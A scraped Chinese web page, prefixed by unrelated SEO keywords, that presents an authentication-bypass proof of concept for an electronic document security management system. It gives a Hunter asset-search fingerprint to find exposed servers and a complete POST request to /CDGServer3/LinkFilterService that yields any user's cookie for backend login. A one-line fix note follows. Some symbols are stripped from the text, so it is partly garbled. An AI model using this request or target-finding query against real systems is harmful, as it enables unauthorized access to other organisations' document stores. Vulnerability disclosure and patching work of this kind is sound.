网站建设服务详细解读,网站当前位置 样式,网站建设感谢信,新手学做网站步骤漏洞简介 某电子文档安全管理系统存在任意用户登录漏洞#xff0c;攻击者可以通过用户名获取对应的cookie#xff0c;登录后台。 资产测绘 Hunter语法#xff1a;web.icon“9fd216c3e694850445607451fe3b3568” 漏洞复现 获取Cookie POST /CDGServer3/LinkFilterServi…漏洞简介 某电子文档安全管理系统存在任意用户登录漏洞攻击者可以通过用户名获取对应的cookie登录后台。 资产测绘 Hunter语法web.icon“9fd216c3e694850445607451fe3b3568” 漏洞复现 获取Cookie POST /CDGServer3/LinkFilterService HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,/;q0.8,applicati on/signed-exchange;vb3;q0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8,zh-TW;q0.7,en-US;q0.6 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72userIdGCGHGAGGFAFHFGFCFEFPFDcurOHBLODPEJJNLEEGIMPOKHMCPJCHJIDHHCJCACB带上Cookie访问URL /CDGServer3/frame.jsp即可登录后台 修复建议 对相关接口进行限制访问、鉴权。